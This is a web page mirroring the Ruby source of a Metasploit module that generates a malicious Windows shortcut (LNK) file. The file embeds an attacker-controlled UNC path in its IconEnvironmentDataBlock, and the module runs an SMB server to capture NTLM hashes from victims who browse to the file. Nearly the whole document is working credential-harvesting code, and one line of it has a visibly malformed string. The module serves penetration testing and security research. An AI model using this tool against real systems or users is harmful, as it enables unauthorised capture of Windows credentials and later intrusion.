Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb
23590 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'faker'
7
8
class MetasploitModule < Msf::Auxiliary
9
10
include Msf::Exploit::FILEFORMAT
11
include Msf::Exploit::Remote::SMB::Server::Share
12
include Msf::Exploit::Remote::SMB::Server::HashCapture
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak',
19
'Description' => %q{
20
This module creates a malicious Windows shortcut (LNK) file that
21
specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK)
22
that can trigger an authentication attempt to a remote server. This can be used
23
to harvest NTLM authentication credentials.
24
25
When a victim browse to the location of the LNK file, it will attempt to
26
connect to the the specified UNC path, resulting in an SMB connection that
27
can be captured to harvest credentials.
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [
31
'Nafiez', # Original POC & MSF Module
32
],
33
'References' => [
34
['URL', 'https://zeifan.my/Right-Click-LNK/']
35
],
36
'Platform' => 'win',
37
'Targets' => [
38
['Windows', {}]
39
],
40
'DefaultTarget' => 0,
41
'DisclosureDate' => '2025-05-16',
42
'Notes' => {
43
'Stability' => [CRASH_SAFE],
44
'SideEffects' => [ARTIFACTS_ON_DISK],
45
'Reliability' => []
46
}
47
)
48
)
49
50
register_options([
51
52
OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]),
53
OptString.new('ICON_PATH', [false, 'The icon path to use (not necessary using real ICON)', nil]),
54
OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10])
55
])
56
end
57
58
def run
59
description = datastore['DESCRIPTION']
60
icon_path = datastore['ICON_PATH']
61
62
description = "#{Faker::Lorem.sentence(word_count: 3)}Shortcut" if description.blank?
63
64
icon_path = "%SystemRoot%\\System32\\#{Faker::File.file_name(ext: 'ico')}.to_s}%SystemRoot%\System32\shell32.dll" if icon_path.blank?
65
66
start_smb_capture_server
67
unc_share = datastore['SHARE']
68
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
69
unc_path = "\\\\#{srvhost}\\\\#{unc_share}"
70
lnk_data = create_lnk_file(description, icon_path, unc_path)
71
filename = file_create(lnk_data)
72
print_good("LNK file created: #{filename}")
73
print_status("Listening for hashes on #{srvhost}")
74
75
stime = Time.now.to_f
76
timeout = datastore['ListenerTimeout'].to_i
77
loop do
78
break if timeout > 0 && (stime + timeout < Time.now.to_f)
79
80
Rex::ThreadSafe.sleep(1)
81
end
82
end
83
84
def create_lnk_file(description, icon_path, unc_path)
85
data = ''.b
86
87
# LNK header - 76 bytes
88
header = "\x4C\x00\x00\x00".b
89
90
# LinkCLSID (00021401-0000-0000-C000-000000000046)
91
header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b
92
93
# Define LinkFlags
94
link_flags = 0x00000000
95
link_flags |= 0x00000004 # HAS_NAME
96
link_flags |= 0x00000020 # HAS_ARGUMENTS
97
link_flags |= 0x00000040 # HAS_ICON_LOCATION
98
link_flags |= 0x00000080 # IS_UNICODE
99
link_flags |= 0x00004000 # HAS_EXP_ICON
100
101
header += [link_flags].pack('V')
102
103
# FileAttributes (FILE_ATTRIBUTE_NORMAL)
104
header += "\x20\x00\x00\x00".b
105
106
# CreationTime, AccessTime, WriteTime (zeroed)
107
header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3
108
109
# FileSize
110
header += "\x00\x00\x00\x00".b
111
112
# IconIndex
113
header += "\x00\x00\x00\x00".b
114
115
# ShowCommand (SW_SHOWNORMAL)
116
header += "\x01\x00\x00\x00".b
117
118
# HotKey
119
header += "\x00\x00".b
120
121
# Reserved fields
122
header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b
123
124
# Add the header to our binary data
125
data += header
126
127
# NAME field (description in Unicode)
128
description_utf16 = description.encode('UTF-16LE').b
129
data += [description_utf16.bytesize / 2].pack('v')
130
data += description_utf16
131
132
# ARGUMENTS field (command line arguments in Unicode)
133
padding_size = datastore['PADDING_SIZE']
134
cmd_args = ' ' * padding_size
135
cmd_args_utf16 = cmd_args.encode('UTF-16LE').b
136
data += [cmd_args_utf16.bytesize / 2].pack('v')
137
data += cmd_args_utf16
138
139
# ICON LOCATION field (icon path in Unicode)
140
icon_path_utf16 = icon_path.encode('UTF-16LE').b
141
data += [icon_path_utf16.bytesize / 2].pack('v')
142
data += icon_path_utf16
143
144
# ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE
145
env_block_size = 0x00000314 # Total size of this block
146
env_block_sig = 0xA0000007 # ICON_ENVIRONMENT_DATABLOCK_SIGNATURE
147
148
data += [env_block_size].pack('V')
149
data += [env_block_sig].pack('V')
150
151
# Create fixed-size ANSI buffer with nulls
152
ansi_buffer = "\x00".b * 260
153
154
# Copy the UNC path bytes into the buffer
155
unc_path.bytes.each_with_index do |byte, i|
156
ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize
157
end
158
159
data += ansi_buffer
160
161
# Target field in Unicode (520 bytes)
162
unc_path_utf16 = unc_path.encode('UTF-16LE').b
163
164
# Create fixed-size Unicode buffer with nulls
165
unicode_buffer = "\x00".b * 520
166
167
# Copy the UTF-16LE encoded UNC path bytes into the buffer
168
unc_path_utf16.bytes.each_with_index do |byte, i|
169
unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize
170
end
171
172
data += unicode_buffer
173
174
data += "\x00\x00\x00\x00".b
175
176
data
177
end
178
179
def start_smb_capture_server
180
start_service
181
end
182
183
end
184
185